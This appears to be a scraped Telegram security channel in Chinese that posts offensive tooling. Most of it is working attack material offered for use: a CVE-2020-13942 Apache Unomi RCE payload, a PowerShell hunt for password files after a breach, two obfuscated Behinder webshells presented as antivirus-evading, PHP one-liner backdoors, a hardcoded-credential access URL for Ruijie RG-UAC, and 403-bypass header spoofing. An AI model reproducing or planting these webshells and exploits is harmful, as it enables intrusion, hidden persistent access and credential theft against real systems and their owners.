TG Telegram Group Link
Channel: 信息安全狂热者
Back to Bottom
#CVE-2020-13942 Apache Unomi Remote Code Execution

PoC:
{"filters":[{"id" : "pyn3rd","filters": [{"condition": {"parameterValues": {"pyn3rd": "script::Runtime.getRuntime().exec('open -a Calculator')"},"type":"profilePropertyCondition"}}]}],"sessionId": "pyn3rd"}
后期敏感文件收集
powersehll,可自行写个数组遍历搜索
示例:
$data=Get-ChildItem D: -recurse *.* |Select-Object Directory,Name
foreach($n in $data){
if($n.Directory -eq $null){
$n.Directory="."
}
$path=-join($n.Directory,"\",$n.Name)
if($path.IndexOf("password.txt") -ne -1){
write-host $path
}
}
assert()不再支持执行代码,少了一个执行任意代码的函数,这个影响还是挺大的。
create_function()函数被彻底移除了,我们又少了一个可以执行任意代码的函数。
libxml依赖最低2.9.0起,也就是说,XXE漏洞彻底消失在PHP里了。
继preg_replace()中的e模式被移除后,mb_ereg_replace()中的e模式也被彻底移除,再次少了一个执行任意代码的函数。
Phar中的元信息不再自动进行反序列化了,phar://触发反序列化的姿势也告别了。
parse_str()必须传入第二个参数了,少了一种全局变量覆盖的方法。
strpos()等函数中的参数必须要传入字符串了,以前通过传入数组进行弱类型利用的方法也失效了。
原文:
https://mp.weixin.qq.com/s?__biz=MzA4MDU0NzY4Ng==&mid=2459419731&idx=1&sn=e9fce415f04f41c748e63e148eb21295&chksm=88c1fe5abfb6774c57f1f0b5eb86ce36c7271d92d30285a6f16c2dfbdc53e319df692a61db53&mpshare=1&scene=23&srcid=1127g5eVPsYt4F1zjBX3gvSL&sharer_sharetime=1606447067642&sharer_shareid=7d5524e08e4120807f27747eea12baf7#rd 有安全研究者混入了PHP 8.0开发组!
冰蝎3.0免杀马
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$f=explode("|",base64_decode("ZmlsZV9nZXRfY29udGVudHN8YmFzZTY0X2RlY29kZXxwaHA6Ly9pbnB1dA=="));
$post=["bie"=>$f[0](end($f))];
$post=$post["bie"];
if(!extension_loaded('openssl'))
{
$post=$f[1]($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i] xor $key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
内网/域渗透常用命令:https://wadcoms.github.io
锐捷 RG-UAC 统一上网行为管理审计系统 账户硬编码漏洞
poc:
https://127.0.0.1/get_dkey.php?user=admin
成功访问后,可看到该系统的超级管理员权限账号、访客权限账号、审计权限账号的 账户名 和 MD5 加密的密码值
php7以上 冰蝎免杀马

<?php
@error_reporting(0);
session_start();
$t=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$J=[("$t")("cGhwOi8vaW5wdXQ="),("$t")("b3BlbnNzbA==")];

if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=("$t")("ZmlsZV9nZXRfY29udGVudHM=")("$J[0]");
if(!extension_loaded("$J[1]"))
{
$post=("$t")("$post")."";
for($i=0;$i<strlen($post);$i++) {
$tmp=[$post[$i] => $post[$i]^$key[$i+1&15]];
$post[$i]=$tmp[$post[$i]];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
Disclaimer:
因本 Channel 符合 Telegram 自动投放广告要求,故订阅者可能会在此 Channel 看到带有 sponsor 或 赞助 字样的消息
特此声明本 Channel 与广告内容投放主无任何关联,现阶段也无法从被投放的广告内容中获得任何形式的回报。故本 Channel 不对其投放内容做任何形式的背书,敬请自行辨认广告内容真伪,谨防上当受骗
php一句话
7.x:
<? @("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]);

5.x:
<? $a="Y;HJ(Z"^"8H;/Z.";
$a(${"~?}$"^"!x8p"}[1]);
403 BYPASS 小记
方法一:旁站,有可能是管理员仅设置了主域的权限,那么通过改变旁站,可以越过权限设置
# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
Host: $xxx$.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法二:通过URL覆盖的方式,将GET后的URL改为根目录/,其后添加
如:X-Original-URL: /admin/login、X-Rewrite-URL: /admin/login 等
甚至:Referer: https://www.abc.com/admin/login

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET / HTTP/1.1
X-Original-URL: /admin/login
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK

方法三:改变代理服务器,因为现在当下服务基本都是有CDN区做代理,利用如下X打头的非http标准协议改变其代理,诱骗认为访问在本地:
X-Originating-IP: 127.0.0.1、X-Remote-IP: 127.0.0.1、X-Forwarded-For: 127.0.0.1

# 原始请求
GET /admin/login HTTP/1.1
Host: www.abc.com
# 原始响应
HTTP/1.1 403 Forbidden

# 改变请求
GET /admin/login HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: www.abc.com
# 改编后响应
HTTP/1.1 200 OK
HTML Embed Code:
2024/04/28 00:22:46
Back to Top